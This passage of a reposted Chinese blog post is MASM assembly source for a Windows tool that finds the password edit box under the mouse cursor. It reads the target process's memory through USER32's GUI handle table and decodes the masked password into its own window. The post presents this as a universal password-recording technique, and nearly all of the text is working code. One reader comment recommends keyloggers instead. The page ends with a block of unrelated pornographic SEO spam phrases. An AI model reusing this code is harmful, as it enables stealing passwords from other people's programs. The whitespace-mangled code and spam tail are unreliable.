            ??????????? MOV EBX,WINHAND
            ??????????? .if? EBX!=NULL
            ?????????????? invoke GetWindowThreadProcessId,eBx,addr parid
            ?????????????? MOV??? WINTHREADID,EAX
            ?????????????? ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
            ?????????????? ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
            ??????????? .else??
            ??????????????? invoke??? MessageBox,0,offset nowin2,offset vp,1
            ??????????????? ret?????
            ??????????? .endif
            ;-------------根據(jù)窗口所在的進(jìn)程的進(jìn)程號得到這個進(jìn)程加載的USER32.DLL的基地址

            ??????? invoke GetUser32Base,parid
            ??????? mov??? modbase,eax

            ;--------------根據(jù)窗口所在的線程得到該線程的TEB地址
            ??????????? invoke? OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
            ??????????? .if??????? eax != NULL
            ??????????????????? mov???? THREADHAND,EAX
            ??????????????????????? invoke??????? LoadLibrary,offset Ntdll
            ??????????????????? invoke??????? GetProcAddress,eax,offset _ZwQueryInformationThread
            ??????????????????? mov???? apiquerthread,eax????????????????????
            ??????????????????? push??? 0
            ??????????????????? push??? sizeof THREAD_BASIC_INFORMATION
            ??????????????????? lea???? ecx,threadinfo
            ??????????????????? push??? ecx
            ??????????????????? push??? ThreadBasicInformation
            ??????????????????? push??? THREADHAND
            ??????????????????? call??? apiquerthread
            ??????????????????? .IF EAX == STATUS_SUCCESS
            ??????????????????????? lea ecx,threadinfo
            ??????????????????????? mov esi,[ecx+4] ;得到TEB了
            ??????????????????? .ELSE
            ??????????????????????? invoke MessageBox,0,offset errgetteb,offset vp,1
            ??????????????????????? ret
            ??????????????? .ENDIF
            ??????? .else
            ??????????? invoke MessageBox,0,offset erropenthread,offset vp,1
            ??????????? ret
            ??????? .endif
            ??????? ;invoke wsprintf,offset bufferteb,offset tebformat,esi
            ??????? ;invoke MessageBox,0,offset bufferteb,offset vp,1??
            ???????
            ;-------------------------得到TEB中的RealClientID???????
            ??????? add esi,6cch
            ??????? add esi,1ch
            ??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ?????????????? mov eax,offset buffer1
            ?????????????? mov eax,[eax]
            ?????????????? mov edi,eax
            ?????????????? .if eax !=NULL
            ?????????????? ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
            ?????????????? ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
            ?????????????? .else
            ??????????????? invoke MessageBox,0,offset errnorealcid,offset vp,1
            ?????????????? ret
            ?????????????? .endif
            ??????? .endif
            ????

            ???????
            ??????? ;密碼窗口句柄取低16位
            ??????? xor eax,eax
            ??????? mov?? ebx,WINHAND
            ??????? mov?? ax,bx
            ??????? add?? ax,ax
            ??????? add?? ax,bx ;3
            ??????? add?? ax,ax ;6
            ??????? add?? ax,ax ;12
            ??????? mov?? ebx,eax
            ??????? pushad
            ??????? invoke GetUnknowVarOffset
            ??????? .if eax !=NULL
            ?????????????? mov eax,VarOffset
            ?????????????? add eax,modbase
            ?????????????? add eax,VirtualAddress
            ?????????????? ;invoke wsprintf,offset buffervar,offset varformat,eax
            ?????????????? ;invoke MessageBox,0,offset buffervar,offset vp,1???????
            ??????? .else
            ??????????????? invoke MessageBox,0,offset errnounknowvar,offset vp,1
            ??????????????? ret
            ??????? .endif
            ??????? popad
            ??????? mov ecx,VarOffset
            ??????? add ecx,modbase
            ??????? add ecx,VirtualAddress
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov ecx,[ecx]
            ??????????????? ;push ecx
            ?????????????? ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
            ?????????????? ;invoke MessageBox,0,offset buffervar2,offset vp,1
            ?????????????? ;pop ecx

            ??????? .endif???????
            ??????? add? ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov ecx,[ecx]
            ??????? .endif
            ??????? sub ecx,edi ;減REALCLIENTID
            ??????? mov esi,ecx?
            ??????? ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
            ??????? ;invoke MessageBox,0,offset bufferwndcont,offset vp,1??
            ???????
            ??????? add esi,passoffset
            ??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov esi,[ecx]
            ??????? .endif
            ??????? ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
            ??????? ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1????????
            ??????? ;得到密碼長度
            ??????? mov? ecx,esi
            ??????? add? ecx,lenoffset
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov ecx,[ecx]
            ??????????????? mov PASSLEN,ecx
            ??????? .endif????
            ??????? .if ecx>0 && ecx <32
            ??????? ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
            ??????? ;invoke MessageBox,0,offset bufferpasslen,offset vp,1?????
            ??????? .else
            ??????? invoke MessageBox,0,offset passerr,offset vp,1
            ??????? ret
            ??????? .endif??
            ???????
            ??????? ;得到加密密碼的變量???????
            ??????? mov??? ecx,esi
            ??????? add??? ecx,0ECh
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? MOV ECX,[ECX]
            ??????????????? xor edx,edx
            ??????????????? movzx edx,cl
            ??????????????? mov ENCODE,EDX
            ??????? .endif
            ??????? ;invoke wsprintf,offset bufferpass1,offset passformat,edx
            ??????? ;invoke MessageBox,0,offset bufferpass1,offset vp,1????????????????
            ???????
            ??????? ;得到解密后的密碼
            ??????? mov??? ecx,esi
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov ecx,[ecx]
            ??????? .endif
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
            ??????? .if eax == TRUE
            ??????????????? mov ecx,offset buffer1
            ??????????????? mov ecx,[ecx]
            ??????? .endif
            ??????? mov ebx,ecx???????
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
            ??????? .if eax == TRUE
            ??????????????? mov esi,offset buffer1
            ??????? .endif
            ???????
            ??????? MOV EDX,ENCODE
            ??????? mov cl,dl
            ??????? mov edi,PASSLEN
            @@nextpass:???????
            ??????? CMP EDI,1
            ??????? JBE @@firstpass
            ??????? mov eax,esi
            ??????? add eax,edi
            ??????? mov dl,[eax-2]
            ??????? xor dl,[eax-1]
            ??????? xor dl,cl ;重要
            ??????? mov [eax-1],dl
            ??????? dec edi
            ??????? jmp @@nextpass
            @@firstpass:
            ??????? or? cl,43h ;WHY?
            ??????? mov edx,offset buffer1
            ??????? xor [edx],cl
            ??????? ;密碼可能是UNICODE的
            ??????? invoke lstrlenA,edx
            ???????
            ??????? .if eax<PASSLEN ;密碼是UNICODE
            ??????? mov edx,PASSLEN
            ??????? add edx,edx
            ??????? mov ecx,ebx
            ??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
            ??????? .if eax == TRUE
            ??????????????? mov esi,offset buffer1
            ??????? .endif
            ??????? mov edi,PASSLEN
            ??????? add edi,edi
            ??????? MOV EDX,ENCODE
            ??????? mov cl,dl
            ???????
            @@nextpass2:???????
            ??????? CMP EDI,1
            ??????? JBE @@firstpass2
            ??????? mov eax,esi
            ??????? add eax,edi
            ??????? mov dl,[eax-2]
            ??????? xor dl,[eax-1]
            ??????? xor dl,cl ;重要
            ??????? mov [eax-1],dl
            ??????? dec edi
            ??????? jmp @@nextpass2
            @@firstpass2:
            ??????? or? cl,43h
            ??????? mov edx,offset buffer1
            ??????? xor [edx],cl
            ??????? ;invoke MessageBoxW,0,edx,edx,1
            ??????? invoke??????? SetDlgItemTextW,hWinMain,ID_PWD,edx?????
            ??????? .else
            ??????? mov ecx,offset buffer1
            ??????? add ecx,PASSLEN
            ??????? xor eax,eax
            ??????? MOV [ECX],eax
            ??????? invoke??????? SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
            ??????? invoke? RtlZeroMemory,offset buffer1,128
            ??????? .endif

            ??????????? ret
            ViewPass? endp?

            comment %
            GetUnknowVarOffset? proc uses esi edi ebx
            ??????????????????? LOCAL?? user32base:dword?
            ??????????????????? LOCAL?? varaddr:dword????

            ??????? invoke LoadLibrary,offset user32dll
            ??????? mov??? user32base,eax
            ??????? invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虛擬偏移
            ??????? invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
            ??????? .if eax!=NULL
            ??????????? invoke RtlMoveMemory,offset buffercode,eax,1000
            ??????????? mov esi,offset buffercode
            ??????????? xor ebx,ebx
            @@nextcode:???????
            ??????????? mov ax,word ptr [esi]
            ??????????? .if ax==08C2h
            ??????????????? add esi,2
            ??????????????? mov al,byte ptr[esi]
            ??????????????? sub esi,2
            ??????????????? .if al==00h
            ??????????????????? ;--找到ret 08(C20800)后,倒過去找mov eax,xxxxxxxx (B8 xxxxxxxx)
            ??????????????????? sub esi,5
            ??????????????????? sub ebx,5
            @@nextcode2:???????????????????
            ??????????????????? mov al,byte ptr [esi]
            ??????????????????? .if al==0B8h
            ??????????????????????? inc esi
            ??????????????????????? mov eax,dword ptr [esi]
            ??????????????????????? dec esi
            ??????????????????????? mov varaddr,eax
            ??????????????????? .else
            ??????????????????? @@nextb8:
            ??????????????????????? dec esi
            ??????????????????????? dec ebx
            ??????????????????????? .if ebx>1???????????????????????
            ??????????????????????????? jmp @@nextcode2
            ??????????????????????? .else ;找不到mov eax,xxxxxxxx
            ??????????????????????????? invoke MessageBox,0,offset errnocode,offset vp,1
            ??????????????????????????? xor eax,eax
            ??????????????????????????? ret
            ??????????????????????? .endif
            ??????????????????? .endif
            ??????????????? .else
            ??????????????????? jmp @@findother
            ??????????????? .endif
            ??????????? .else
            @@findother:???????????
            ??????????????? inc ebx
            ??????????????? inc esi
            ??????????????? .if ebx<1000d
            ??????????????????? jmp @@nextcode
            ??????????????? .else ;找不到ret 08指令
            ??????????????????? invoke MessageBox,0,offset errnocode,offset vp,1
            ??????????????????? xor eax,eax
            ??????????????????? ret
            ??????????????? .endif
            ??????????? .endif
            ??????? .else? ;找不到函數(shù)
            ???????? invoke MessageBox,0,offset errnowow,offset vp,1
            ???????? xor eax,eax
            ???????? ret
            ??????? .endif
            ??????? ;正常情況varaddr為USER32.DLL全局變量中記錄當(dāng)前線程GUI TABLE R3層地址的變量的地址
            ???????
            ??????? mov ecx,user32base
            ??????? add ecx,VirtualAddress ;得到內(nèi)存中user32.dll的全局變量的起始地址
            ??????? mov eax,varaddr
            ??????? sub eax,ecx ;變量的地址減全局變量起始地址
            ??????? ..if eax>0 && eax<VirtualSize ;變量的偏移大于0,小于變局變量總大小
            ??????? add eax,4
            ??????? mov VarOffset,eax
            ???????
            ??????? .else
            ??????? jmp @@nextb8
            ??????? .endif
            ???????
            ???????
            ??????????????????? ret
            GetUnknowVarOffset? endp
            %

            GetUnknowVarOffset? proc uses esi edi ebx
            ??????????????????? LOCAL?? user32base:dword?
            ??????????????????? LOCAL?? varaddr:dword????
            ??????????????????? LOCAL?? optable[2048]:byte
            ??????????????????? LOCAL?? oplen[256]:byte ;記錄每個指令的長度,最多512個
            ???????????????????
            ??????? invoke LoadLibrary,offset user32dll
            ??????? mov??? user32base,eax
            ??????? invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虛擬偏移
            ??????? invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
            ??????? .if eax!=NULL
            ??????????? invoke RtlMoveMemory,offset buffercode,eax,1000
            ??????????? mov esi,offset buffercode
            ;------------------------?????? 利用LDE32庫函數(shù)得到該函數(shù)中每個指令的長度:)
            ???????????????????
            ???????
            ??????? lea? eax,optable
            ??????? push eax
            ??????? call disasm_init? ;解壓縮'指令長度表'
            ???????
            ???????
            ??????? xor ebx,ebx
            ??????? lea edi,oplen
            @@nextcode:
            ??????? push esi
            ??????? lea? eax,optable
            ??????? push eax
            ??????? call disasm_main
            ??????? .if eax!=-1 && ebx<256
            ??????????? mov cx,word ptr [esi]
            ??????????? mov dl,byte ptr [esi+2]
            ??????????? .if eax == 3 && cx == 08C2h && dl == 00? ;找到ret 08=C20800
            ??????????? ;-------------------然后反過去找MOV EAX,XXXXXXXX?? =B8 XXXXXXXX
            ??????????? dec ebx
            ???????????
            @@nextcode2:???????????
            ??????????? mov AL,byte ptr [edi+ebx]?
            ??????????? movzx eax,al
            ??????????? sub esi,eax
            ??????????? mov cl,byte ptr [esi]
            ??????????? .if al == 5 && cl == 0B8H
            ??????????????????????? inc esi
            ??????????????????????? mov eax,dword ptr [esi]
            ??????????????????????? mov varaddr,eax
            ??????????????????????? dec esi
            ??????????? .else
            @@nextb8:???????????
            ??????????????????? dec ebx
            ??????????????????? .if ebx >1
            ??????????????????????? jmp @@nextcode2
            ??????????????????? .else
            ??????????????????????? jmp @@errcode
            ??????????????????? .endif
            ??????????? .endif
            ???????????
            ??????????? .else
            ??????????? mov byte ptr [edi+ebx],al???????????
            ??????????? inc ebx
            ??????????? add esi,eax???????????????????????
            ??????????? jmp @@nextcode
            ??????????? .endif
            ?????? .else ;找不到RET 08指令
            @@errcode:?????
            ??????????? invoke MessageBox,0,offset errnocode,offset vp,1
            ??????????? xor eax,eax
            ??????????? ret?????
            ?????? .endif
            ;------------------------?????
            ??????? .else? ;找不到函數(shù)
            ??????????? invoke MessageBox,0,offset errnowow,offset vp,1
            ??????????? xor eax,eax
            ??????????? ret
            ??????? .endif
            ??????? ;正常情況varaddr為USER32.DLL全局變量中記錄當(dāng)前線程GUI TABLE R3層地址的變量的地址
            ???????
            ??????? mov ecx,user32base
            ??????? add ecx,VirtualAddress ;得到內(nèi)存中user32.dll的全局變量的起始地址
            ??????? mov eax,varaddr
            ??????? sub eax,ecx ;變量的地址減全局變量起始地址
            ??????? .if eax>0 && eax<VirtualSize ;變量的偏移大于0,小于全局變量總大小
            ??????? add eax,4
            ??????? mov VarOffset,eax
            ??????? .else
            ??????? jmp @@nextb8
            ??????? .endif
            ???????
            ???????
            ??????????????????? ret
            GetUnknowVarOffset? endp

            ?

            GetUser32Base? proc uses ebx esi edi remoteproid
            ??????????? LOCAL hSnapshot:dword
            ??????????? LOCAL modinfo:MODULEENTRY32
            ??????????? LOCAL modname[256]:byte

            ??????? mov??????????? modinfo.dwSize,sizeof MODULEENTRY32
            ??????? invoke? CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
            ??????? mov???? hSnapshot,eax
            ??????? invoke? Module32First,hSnapshot,addr modinfo
            ??????? .while eax
            ??????? lea???? ecx,modinfo.szModule
            ??????? invoke? lstrcmpi,offset user32dll,ecx
            ??????? .if???? eax == 0
            ??????????????? mov eax,modinfo.modBaseAddr
            ??????????????? ret
            ??????? .endif
            ??????? invoke? Module32Next,hSnapshot,addr modinfo
            ??????? .endw
            ??????? invoke??????? CloseHandle,hSnapshot
            ???????
            ??????????????? ret
            GetUser32Base?? endp???????

            _ProcessPeFile??????? proc _lpPeHead
            ??????????????? local??????? @szBuffer[1024]:byte,@szSectionName[16]:byte
            ??????????????
            ??????? mov??????? esi,_lpPeHead
            ??????????????? assume??????? esi:ptr IMAGE_DOS_HEADER
            ??????? add??????? esi,[esi].e_lfanew
            ??????????????? mov??????? edi,esi
            ??????????????? assume??????? edi:ptr IMAGE_NT_HEADERS
            ??????????????? ;movzx??????? ecx,[edi].FileHeader.Machine
            ??????????????? ;movzx??????? edx,[edi].FileHeader.NumberOfSections
            ??????????????? ;movzx??????? ebx,[edi].FileHeader.Characteristics

            ;********************************************************************
            ; 循環(huán)顯示每個節(jié)區(qū)的信息
            ;********************************************************************
            ??????????????? movzx??????? ecx,[edi].FileHeader.NumberOfSections
            ??????????????? add??????? edi,sizeof IMAGE_NT_HEADERS
            ??????????????? assume??????? edi:ptr IMAGE_SECTION_HEADER
            ??????????????? .repeat
            ??????????????????????? push??????? ecx
            ;********************************************************************
            ; 節(jié)區(qū)名稱
            ;********************************************************************
            ??????????????????????? invoke??????? RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
            ??????????????????????? push??????? esi
            ??????????????????????? push??????? edi
            ??????????????????????? mov??????? ecx,8
            ??????????????????????? mov??????? esi,edi
            ??????????????????????? lea??????? edi,@szSectionName
            ??????????????????????? cld
            ??????????????????????? @@:
            ??????????????????????? lodsb
            ??????????????????????? .if??????? ! al
            ??????????????????????????????? mov??????? al,' '
            ??????????????????????? .endif
            ??????????????????????? stosb
            ??????????????????????? loop??????? @B
            ??????????????????????? pop??????? edi
            ??????????????????????? pop??????? esi
            ;********************************************************************
            ??????????? invoke lstrcmpi,offset dataname,addr @szSectionName
            ??????????? .if eax == 0
            ??????????????????? push [edi].VirtualAddress
            ??????????????????? pop VirtualAddress
            ??????????????????? push dword ptr [edi+8]
            ??????????????????? pop VirtualSize
            ??????????????????? ret
            ??????????????????????? .else???????
            ??????????????????????? add??????? edi,sizeof IMAGE_SECTION_HEADER
            ??????????????????????? .endif
            ;********************************************************************
            ??????????????????????? pop??????? ecx
            ??????????????? .untilcxz
            ??????????????? assume??????? edi:nothing
            ??????????????? ret

            _ProcessPeFile??????? endp

            ?


            CheckOS proc
            ??? LOCAL verinfo:OSVERSIONINFO
            ??
            ??? mov???? verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
            ??? invoke? GetVersionEx,addr verinfo
            ??? .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo..dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
            ??????? mov eax,1 ;xp
            ??????? mov passoffset,0A4H
            ??????? mov lenoffset ,14H
            ??? .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2)
            ??????? mov eax,1 ;2003
            ??????? mov passoffset,0A0H
            ??????? mov lenoffset ,0CH
            ??? .elseif (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0)??
            ??????? mov eax,1 ;2000
            ??????? mov passoffset,98H
            ??????? mov lenoffset ,0cH
            ??? .else
            ??????? invoke MessageBox,0,offset erros,offset vp,1
            ??????? xor eax,eax? ;9x,nt4
            ??? .endif
            ??
            ??????? ret
            CheckOS endp

            _ProcDlgMain??????? proc??????? uses ebx edi esi, \
            ??????????????? hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
            ??????????????? local??????? @stPoint:POINT
            ??????????????? local??????? @hWindow
            ??????????????? local?? hBrush :dword
            ??????????? local?? rect:RECT
            ??????????? local?? LogBrush:LOGBRUSH

            ??????????????? mov??????? eax,wMsg
            ??????????????? .if??????? eax == WM_CLOSE
            ??????????????????????? invoke??????? EndDialog,hWnd,NULL
            ??????????????????????? invoke??????? KillTimer,hWnd,1
            ??????????????? .elseif??????? eax == WM_INITDIALOG
            ??????????????????????? push??? hWnd
            ??????????????????????? pop???? hWinMain
            ??????????????????? invoke LoadIcon, hInstance, 1
            ??????????????????? invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
            ??????????????????????? invoke??????? SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
            ??????????????????????? invoke??????? SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
            ??????????????????????????????????? SWP_NOMOVE or SWP_NOSIZE
            ??????????????????????? invoke??????? SetTimer,hWnd,1,2000,NULL
            ??????????????????????? invoke??????? LoadBitmap,hInstance,IDB_1
            ??????????????????????? invoke??????? SendDlgItemMessage,hWnd,IDC_BMP,STM_SETIMAGE,IMAGE_BITMAP,eax
            ??????????????????????? invoke? GetWindowLong,hWnd, GWL_EXSTYLE
            ??????????????????????? or????? eax,80000h
            ??????????????????????? invoke? SetWindowLong,hWnd, GWL_EXSTYLE, eax
            ??????????????????????? invoke? SetLayeredWindowAttributes,hWnd, 0, 220, 02h;LWA_ALPHA
            ??????????? .elseif??????? eax ==??????? WM_CTLCOLORSTATIC
            ??????????????????? RGB 0,0,0
            ??????????????????? invoke??????? SetBkColor,wParam,eax
            ??????????????????? invoke??????? SetTextColor,wParam,00aeaeaeh
            ??????????????????? invoke??????? GetStockObject,HOLLOW_BRUSH
            ??????????????????? ret??????????????
            ??????????????? .elseif??????? eax == WM_ERASEBKGND
            ??????????????????? mov LogBrush.lbStyle,BS_SOLID
            ??????????????????? RGB 0,0,0
            ??????????????????? mov LogBrush.lbColor,eax
            ??????????????????? invoke CreateBrushIndirect,addr LogBrush
            ??????????????????? mov hBrush,eax
            ??????????????????? invoke GetClientRect,hWnd,addr rect
            ??????????????????? invoke FillRect,wParam,addr rect,hBrush???????
            ??????????????????? mov eax,TRUE
            ??????????????????? ret??????????????
            ??????????????? .elseif??????? eax == WM_TIMER
            ??????????????????????? invoke??????? GetCursorPos,addr @stPoint
            ??????????????????????? invoke??????? WindowFromPoint,@stPoint.x,@stPoint.y
            ??????????????????????? mov??????? @hWindow,eax
            ??????????????????????? .if??????? eax !=??????? NULL
            ??????????????????????????????? invoke GetWindowLong,@hWindow,GWL_STYLE
            ??????????????????????????????? .if (eax & ES_PASSWORD)
            ??????????????????? invoke GetClassName,@hWindow,offset classname,64
            ??????????????????? invoke lstrcmpi,offset classname,offset editname
            ??????????????????? .if eax == 0
            ??????????????????? mov eax,@hWindow
            ??????????????????? mov WINHAND,eax
            ??????????????????? invoke? ViewPass
            ??????????????????? .endif??????????????????????????????????????
            ??????????????????????????????? .endif
            ??????????????????????? .endif
            ??????????????? .else
            ;********************************************************************
            ;??????? 注意:對話框的消息處理后,要返回 TRUE,對沒有處理的消息
            ;??????? 要返回 FALSE
            ;********************************************************************
            ??????????????????????? mov??????? eax,FALSE
            ??????????????????????? ret
            ??????????????? .endif?????????????????
            ??????????????? mov??????? eax,TRUE
            ??????????????? ret
            ??????????????
            _ProcDlgMain??????? endp

            include???? \masm32\include\lde32bin.inc
            ;********************************************************************
            start:
            ??????????????? invoke??????? GetModuleHandle,NULL
            ??????????????? mov??????? hInstance,eax
            ??????????????? invoke??????? DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
            ??????????????? invoke??????? ExitProcess,NULL
            end??????? start


            本文來自CSDN博客,轉(zhuǎn)載請標(biāo)明出處:http://blog.csdn.net/killcpp/archive/2008/09/14/2802702.aspx

            Feedback

            # re: Edit控件密碼窗口的秘密--一種全新的通用密碼記錄技術(shù)  回復(fù)  更多評論   

            2010-01-11 12:28 by megax
            你這個一點(diǎn)都不通用, 我Subclass Edit后,接受鍵盤輸入,不存入Edit,自己編碼存儲,Edit內(nèi)則存入亂起八糟的數(shù)據(jù),或者就直接存*, 我甚至可以不用ES_PASSWORD風(fēng)格,你一點(diǎn)轍都沒有,還不如鍵盤記錄。
            欧美久久一级内射wwwwww.| 久久电影网2021| 国产精品美女久久久网AV| 久久久久久夜精品精品免费啦| 伊人色综合久久天天人守人婷| 久久久久久A亚洲欧洲AV冫| 国产午夜免费高清久久影院| 久久久久亚洲精品天堂| 久久婷婷五月综合97色一本一本| 亚洲第一极品精品无码久久| 久久综合狠狠综合久久综合88| 亚洲欧美成人综合久久久| 色偷偷88888欧美精品久久久| 亚洲国产精品无码久久久蜜芽| 久久亚洲AV成人无码软件| 精品久久久久久国产| 国内精品伊人久久久久AV影院| 99久久免费国产特黄| 久久香蕉国产线看观看乱码| 99热都是精品久久久久久| 久久综合九色欧美综合狠狠| 久久精品中文字幕大胸| 久久精品人人槡人妻人人玩AV| 久久精品国产一区| 久久国产精品国语对白| 思思久久精品在热线热| 日韩人妻无码一区二区三区久久| 精品综合久久久久久97超人| 久久久久久久亚洲精品| 久久久久久久97| 久久精品国产亚洲AV大全| 国产精品欧美亚洲韩国日本久久 | 亚洲中文字幕无码久久综合网 | 国产精品热久久无码av| 久久精品国产亚洲AV不卡| 久久精品国产亚洲av水果派| 久久精品国产一区二区三区不卡 | 国产欧美久久久精品影院| 成人国内精品久久久久影院| 久久精品女人天堂AV麻| 久久精品中文字幕无码绿巨人|